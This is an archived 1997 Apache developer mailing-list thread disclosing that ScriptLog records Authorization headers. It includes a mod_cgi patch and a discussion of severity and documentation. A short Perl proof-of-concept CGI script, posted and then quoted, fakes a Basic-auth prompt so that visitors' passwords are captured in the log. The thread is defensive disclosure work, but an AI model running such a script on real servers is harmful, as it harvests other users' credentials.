You are viewing a plain text version of this content. The canonical link for it is here.
Posted to dev@httpd.apache.org by Rob Hartill <ro...@imdb.com> on 1997/01/12 02:33:33 UTC
security hole with ScriptLog
Apart from the fact that ScriptLog can dump the "Authorization" header
into the log when authorized scripts barf, it's not too difficult to
difficult to come up with ways to trigger Auth in other areas of the
server to capture passwords in the clear.
Here's a script that causes a 500 error when it thinks it's got the
password from the user..
#!/usr/local/bin/perl
open(GOTCHA, "+</tmp/grab");
while(<GOTCHA>) {
chomp;
if ($ENV{REMOTE_HOST} eq $_) { # been here before ? if so, die.
exit; # 500 error, password now in ScriptLog
}
}
# Prompt the user for a password
print "Status: 401\r\nWWW-Authenticate: Basic realm=\"not-mine\"\r\n\r\n";
# remember who's been sent a 401
print GOTCHA "$ENV{REMOTE_HOST}\n"; close GOTCHA;
-=-=-=-=-=-
This'll cover the hole until someone works out a way to enable this feature
safely.
Index: mod_cgi.c
===================================================================
RCS file: /export/home/cvs/apache/src/mod_cgi.c,v
retrieving revision 1.4
diff -u -r1.4 mod_cgi.c
--- mod_cgi.c 1997/01/02 03:34:57 1.4
+++ mod_cgi.c 1997/01/12 01:29:12
@@ -212,6 +212,7 @@
fputs("%request\n", f);
for (i = 0; i < hdrs_arr->nelts; ++i) {
if (!hdrs[i].key) continue;
+ if (!strcmp(hdrs[i].key, "Authorization")) continue;
fprintf(f, "%s: %s\n", hdrs[i].key, hdrs[i].val);
}
if ((r->method_number == M_POST || r->method_number == M_PUT)
Re: security hole with ScriptLog
Posted by Alexei Kosut <ak...@nueva.pvt.k12.ca.us>.
On Sun, 12 Jan 1997, Rob Hartill wrote:
> Apart from the fact that ScriptLog can dump the "Authorization" header
> into the log when authorized scripts barf, it's not too difficult to
> difficult to come up with ways to trigger Auth in other areas of the
> server to capture passwords in the clear.
ScriptLog was never designed to be run on a "working" server. It isn't
optimized to be, and has both operational and security problems if it
is. IMHO, knowing that an Authorization header was present and its
contents can be important for debugging a script.
--
________________________________________________________________________
Alexei Kosut <ak...@nueva.pvt.k12.ca.us> The Apache HTTP Server
URL: http://www.nueva.pvt.k12.ca.us/~akosut/ http://www.apache.org/
Re: security hole with ScriptLog
Posted by Alexei Kosut <ak...@nueva.pvt.k12.ca.us>.
On Sun, 12 Jan 1997, Rob Hartill wrote:
> As for Alexei's comment about ScriptLog not really being for live servers,
> that's all fine and well, but there's no mention of that to the unsuspecting
> users..
>
> ScriptLog
>
> Syntax: ScriptLog filename
> Default: none
> Context: resource config
> Status: mod_cgi
>
> The ScriptLog directive sets the CGI script error logfile. If no
> ScriptLog is given, no error log is created. If given, any CGI errors
> are logged into the filename given as argument. If this is a
> relative file or path it is taken relative to the server root.
>
>
> - people reading that won't interpret the feature anywhere close to Alexei's
> interpretation.
Hmm. Point taken. I didn't write those docs... I'll go and add "buyer
beware" text to it.
--
________________________________________________________________________
Alexei Kosut <ak...@nueva.pvt.k12.ca.us> The Apache HTTP Server
URL: http://www.nueva.pvt.k12.ca.us/~akosut/ http://www.apache.org/
Re: security hole with ScriptLog
Posted by Rob Hartill <ro...@imdb.com>.
On Sat, 11 Jan 1997, Brian Behlendorf wrote:
> > I certainly wouldn't brush the problem aside. It's a security hole with
> > very nasty consequences if abused. People testing Auth protected scripts
> > are going to leave passwords in the ScriptLog file. Security holes don't
> > get much worse that that.
>
> Yes they do - this "attack" has to be from someone who has access to the
> ScriptLog and wishes to do damage to someone else on their server, and even
> then it's limited to forging auth.
we allow people to shoot themselves in the foot with /etc/passwd being
used by some.
> Maybe a "ScriptLogSecure" directive which prevents logging of sensitive
> information is the best way to do this.
that'd help. Calling it Secure is an invitation for someone to
prove it's not though :-)
Re: security hole with ScriptLog
Posted by Brian Behlendorf <br...@organic.com>.
On Sun, 12 Jan 1997, Rob Hartill wrote:
> On Sat, 11 Jan 1997, Brian Behlendorf wrote:
>
> > A patch which closes stdin to the script as soon as the script starts
> > sending stdout stuff would fix this,
>
> how ?
Ah, my mistake, I thought you were trying the false-keepalive way of capturing
passwords.
> The script I included doesn't capture STDIN, "ScriptLog" does it for you.
>
> As for Alexei's comment about ScriptLog not really being for live servers,
> that's all fine and well, but there's no mention of that to the unsuspecting
> users..
Yes, it is worth enhancing the docs to mention that.
> I certainly wouldn't brush the problem aside. It's a security hole with
> very nasty consequences if abused. People testing Auth protected scripts
> are going to leave passwords in the ScriptLog file. Security holes don't
> get much worse that that.
Yes they do - this "attack" has to be from someone who has access to the
ScriptLog and wishes to do damage to someone else on their server, and even
then it's limited to forging auth. Not as bad as the cookies hole, and I can
certainly see an argument for capturing that data when doing debugging.
Maybe a "ScriptLogSecure" directive which prevents logging of sensitive
information is the best way to do this.
Brian
--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--
brian@organic.com www.apache.org hyperreal.com http://www.organic.com/JOBS
Re: security hole with ScriptLog
Posted by Rob Hartill <ro...@imdb.com>.
On Sat, 11 Jan 1997, Brian Behlendorf wrote:
>
> A patch which closes stdin to the script as soon as the script starts
> sending stdout stuff would fix this,
how ?
The script I included doesn't capture STDIN, "ScriptLog" does it for you.
As for Alexei's comment about ScriptLog not really being for live servers,
that's all fine and well, but there's no mention of that to the unsuspecting
users..
ScriptLog
Syntax: ScriptLog filename
Default: none
Context: resource config
Status: mod_cgi
The ScriptLog directive sets the CGI script error logfile. If no
ScriptLog is given, no error log is created. If given, any CGI errors
are logged into the filename given as argument. If this is a
relative file or path it is taken relative to the server root.
- people reading that won't interpret the feature anywhere close to Alexei's
interpretation.
I certainly wouldn't brush the problem aside. It's a security hole with
very nasty consequences if abused. People testing Auth protected scripts
are going to leave passwords in the ScriptLog file. Security holes don't
get much worse that that.
rob
Re: security hole with ScriptLog
Posted by Brian Behlendorf <br...@organic.com>.
A patch which closes stdin to the script as soon as the script starts
sending stdout stuff would fix this, as with an earlier hole. I still want to
hear whether this is doable or silly or not.
Brian
On Sun, 12 Jan 1997, Rob Hartill wrote:
> Apart from the fact that ScriptLog can dump the "Authorization" header
> into the log when authorized scripts barf, it's not too difficult to
> difficult to come up with ways to trigger Auth in other areas of the
> server to capture passwords in the clear.
>
> Here's a script that causes a 500 error when it thinks it's got the
> password from the user..
>
>
> #!/usr/local/bin/perl
>
> open(GOTCHA, "+</tmp/grab");
> while(<GOTCHA>) {
> chomp;
> if ($ENV{REMOTE_HOST} eq $_) { # been here before ? if so, die.
> exit; # 500 error, password now in ScriptLog
> }
> }
>
> # Prompt the user for a password
> print "Status: 401\r\nWWW-Authenticate: Basic realm=\"not-mine\"\r\n\r\n";
>
> # remember who's been sent a 401
> print GOTCHA "$ENV{REMOTE_HOST}\n"; close GOTCHA;
>
> -=-=-=-=-=-
>
> This'll cover the hole until someone works out a way to enable this feature
> safely.
>
> Index: mod_cgi.c
> ===================================================================
> RCS file: /export/home/cvs/apache/src/mod_cgi.c,v
> retrieving revision 1.4
> diff -u -r1.4 mod_cgi.c
> --- mod_cgi.c 1997/01/02 03:34:57 1.4
> +++ mod_cgi.c 1997/01/12 01:29:12
> @@ -212,6 +212,7 @@
> fputs("%request\n", f);
> for (i = 0; i < hdrs_arr->nelts; ++i) {
> if (!hdrs[i].key) continue;
> + if (!strcmp(hdrs[i].key, "Authorization")) continue;
> fprintf(f, "%s: %s\n", hdrs[i].key, hdrs[i].val);
> }
> if ((r->method_number == M_POST || r->method_number == M_PUT)
>
>
>
--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--
brian@organic.com www.apache.org hyperreal.com http://www.organic.com/JOBS